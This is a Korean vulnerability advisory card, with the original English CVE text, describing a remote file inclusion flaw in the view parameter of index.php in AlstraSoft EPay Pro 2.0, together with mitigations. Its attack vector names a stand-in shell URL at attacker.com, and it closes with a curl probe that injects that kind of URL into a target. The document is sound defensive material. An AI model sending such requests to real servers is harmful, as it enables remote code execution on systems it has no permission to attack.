🇰🇷 한글 설명
AlstraSoft EPay Pro 2.0의 index.php에서 view 매개변수의 부족한 검증으로 인한 원격 파일 포함(RFI) 취약점입니다. 공격자는 악의적인 PHP 코드가 포함된 원격 웹 서버의 URL을 view 매개변수로 지정하여 임의의 PHP 코드 실행이 가능합니다.
💡 쉬운 설명
AlstraSoft EPay Pro 2.0 소프트웨어에서 특정 설정 값(view 파라미터)을 조작하면 원격 서버의 악성 코드를 실행할 수 있습니다. 이는 공격자가 원격 서버에 올려진 악성 프로그램을 마치 합법적인 파일인 것처럼 실행하게 만드는 공격입니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in index.php in AlstraSoft EPay Pro 2.0 allows remote attackers to execute arbitrary PHP code by modifying the view parameter to reference a URL on a remote web server that contains the code.
📍 영향받는 시스템
AlstraSoft EPay Pro 2.0 이하 버전
⚔️ 공격 벡터
HTTP GET/POST를 통해 index.php의 view 매개변수에 원격 URL(http://attacker.com/shell.php) 주입
🛡️ 대응 방법
최신 버전으로 업그레이드 또는 view 매개변수 화이트리스트 검증 구현, allow_url_include=Off 설정
🔧 검증 코드
원격 코드 실행 흔적(PHP 에러, 스크립트 출력 등)이 보이면 취약, 정상적인 페이지 로드 또는 'file not found' 오류면 안전
curl -s 'http://target/index.php?view=http://attacker.com/test.php' | head -20